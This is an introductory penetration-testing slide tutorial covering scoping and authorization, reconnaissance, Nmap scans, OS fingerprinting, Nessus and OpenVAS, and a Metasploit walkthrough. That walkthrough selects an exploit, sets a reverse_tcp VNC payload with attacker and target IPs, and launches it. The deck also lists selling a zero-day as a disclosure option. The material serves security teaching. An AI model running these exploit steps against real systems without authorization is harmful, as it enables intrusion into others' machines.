Penetration Testing

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Penetration Testing

What Is a Penetration Testing?

Testing the security of systems and architectures from the point of view of an attacker (hacker, cracker ) A simulated attack with a predetermined goal that has to be obtained within a fixed time

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Penetration Testing

Penetration Testing Is Not

An alternative to other IT security measures it complements other tests Expensive game of Capture the Flag A guarantee of security

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Authorization Letter
Detailed agreements/scope
Anything off limits? Hours of testing? Social Engineering allowed? War Dialing? War Driving? Denials of Service? Define the end point

Consult a lawyer before starting the test

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To Tell or Not to Tell?

Telling too many people may invalidate the test However, you dont want valuable resources chasing a non-existent intruder very long And, elevation procedures make not telling risky

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Black Box
It treats the system as a "black-box", so it doesn't explicitly use knowledge of the internal structure.

vs.

White Box
It allows one to peek inside the "box", and it focuses specifically on using internal knowledge of the software to guide the selection of test data

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Penetration Testing

OSSTMM
OSSTMM Open-Source Security Testing Methodology Manual Version 3.0 RC 26 at www.osstmm.org http://www.isecom.org/projects/osstmm.htm

It defines how to go about performing a pen test, but does not go into the actual tools.

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Penetration Testing

Technique Penetration Testing

1) 2) 3) 4) 5) 6) Gather Information Scan IP addresses Fingerprinting Identify vulnerable services Exploit vulnerability (with care!) Fix problems ?

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Gathering Information
Goal Given a companys name, determine information like:
what IP address ranges they have
WHOIS (arin.net ) Nslookup

personal information
Social engineering Google we.register.it
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Scan IP Addresses
Goal Given a set of IP addresses, determine what services and Operating Systems each is running. Nmap www.nmap.org Gfi languard

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Fingerprinting
What web server is running? What accounts have I found? What services are running? What OSes are running? Who is logged in? Is there available information on the web site?

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Identify Vulnerable Services

Given a specific IP address and port, try to gain access to the machine. Report all known vulnerabilities for this target. Nessus OpenVAS

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Exploit vulnerability
Try to exploit detected vulnerabilities, for example:
Buffer overflow Heap overflow SQL injection Code injection Cross-site scripting

Metasploit is a framework that allows to test attacks

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Alternatives
Tools Core Impact Features License
25.000$ Open-source (but some libraries are only in binaries) Frequently (weekly) 1.450$ Open source 3 months of updates and support more of 150 Free and Open-source Free and Open-source

Immunity Canvas

SecurityForest

Metasploit

Number of Exploits Updates Platform

~2500 (at February 2005) Frequently (average 4 Occasionally (last exploit every month) updates in 2005) Independent Python Only Windows Perl for framework, many others languages for exploits (C,Perl,Python,Ruby,Sh ell,...) Number of precompiled exploits (see ExploitationTree)

191 (at October 2007) Occasionally (last updates on October 2007) Independent Ruby, C, Assembler

Only Windows Python

Program Language

Advantages

Report system / Integrationwith vulnerability assessment tools

0-day payload

Free / IDS-IPS evasion / support to write exploits and large used in security community

Penetration Test Tutorial

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Nmap (Network Mapper)

Port Division - open, closed, filtered, unfiltered, open|filtered and closed|filtered Scanning techniques
-sS (TCP SYN scan) -sT (TCP connect() scan) -sU (UDP scans) -sA (TCP ACK scan) -sW (TCP Window scan) -sM (TCP Maimon scan) --scanflags (Custom TCP scan) -sI <zombie host[:probeport]> (Idlescan) -sO (IP protocol scan) -sN; -sF; -sX (TCP Null, FIN, and Xmas scans) -b <ftp relay host> (FTP bounce scan)
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Identify active hosts and services in the network

ping sweep useful to identify targets and to verify also rogue hosts Ex:
nmap -v -sP 192.168.100.0/24
-sP Ping scan.

port scanning useful to identify active ports (services or daemons) that are running on the targets Ex:
nmap -v -sT 192.168.100.x
-sT normal scan -sS stealth scan

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Identify target OS version

OS Fingerprinting: there are different values for each OS (Ex. TCP stack, ) Ex: Nmap O <target>
linux 2.4 ttl 64 packet length 60 initial windows 5840 mss 512 ip id 0 enabled tcp opt MNNTNW timestamp inc. 100hz sack OK SYN attempts 5
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linux 2.6 64 60 5840 512 random MNNTNW 1000hz OK 5

openbsd

windows 9x 64 32 64 48 16384 9000 1460 1460 random Increment M M unsupported unsupported OK OK 4 3

Penetration Testing

windows 2000 windows xp 128 128 48 48 16384 16384 1460 1460 increment increment MNNT MNW unsupported unsupported OK OK 3 3
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Vulnerability scanning
Nessus is a leader tool in vulnerability
scanning There are two components :
nessusd server with plugins list of known vulnerabilities (there are different kinds of subscription depending on how old are plugins) nessus is a front end of the tool there are several version for windows and linux systems

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Introduction to Nessus
Created by Renaud Deraison Currently Maintained by Tenable Network Security Uses the NASL Scripting language for its plugins (currently over 13,000 plugins!) Price is still Free! But no more open source Register to obtain many NASL plugins (7 day delay). Or Purchase a Direct Feed for the Latest!

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Nessus Features
Client/Server Architecture SSL/PKI supported Smart Service Recognition
(i.e. FTP on 31337)

Non-Destructive or Thorough Tests Vulnerability Mapping to CVE, Bugtraq, and others Vulnerability Scoring using CVSS from NIST.

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OpenVAS
OpenSource Vulnerability Assessment Scanner Previously GNessUs (a GPL fork of the Nessus) OpenVAS is a security scanner to allow future free development of the now-proprietary NESSUS tool OpenVAS now offers 15000 Network Vulnerability Tests (NVTs) more all NASL plugins.
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Open VAS technology

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Exploit vulnerabilities
metasploit is a framework that allows to perform real attacks You need to start metasploit from the start menu (Penetration Test->Framework 3)
msfconsole

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Select the exploit and the payload

Select an exploit:
msf > use windows/http/altn_webadmin msf exploit(altn_webadmin) >

Select the payload for the exploit (setting the

PAYLOAD global datastore) msf exploit(altn_webadmin) >
set PAYLOAD windows/vncinject/reverse_tcp PAYLOAD => windows/vncinject/reverse_tcp

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Set options for exploit and payload

Show options
msf exploit(altn_webadmin) > show options

Set the options:

msf> set RHOST 192.168.100.x TARGET IP msf> set RPORT 1000 VULNERABLE SERVICE msf> set LHOST 192.168.100.Y ATTACKER IP msf> set TARGET 0 TYPE OF EXPLOIT

Launch the exploit

msf exploit(altn_webadmin) > exploit
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Vulnerabilities disclosure
If we find a new vulnerability (Zero Day Vulnerability) What we have to do?
Do not say anything and maintain the secret perhaps in the future the producer will fix it Spread the information:
to all or just to the producer

Which level of detail reveal

Full disclosure with possibility of helping cracker? Partial disclosure that could be unuseful?

Sell it
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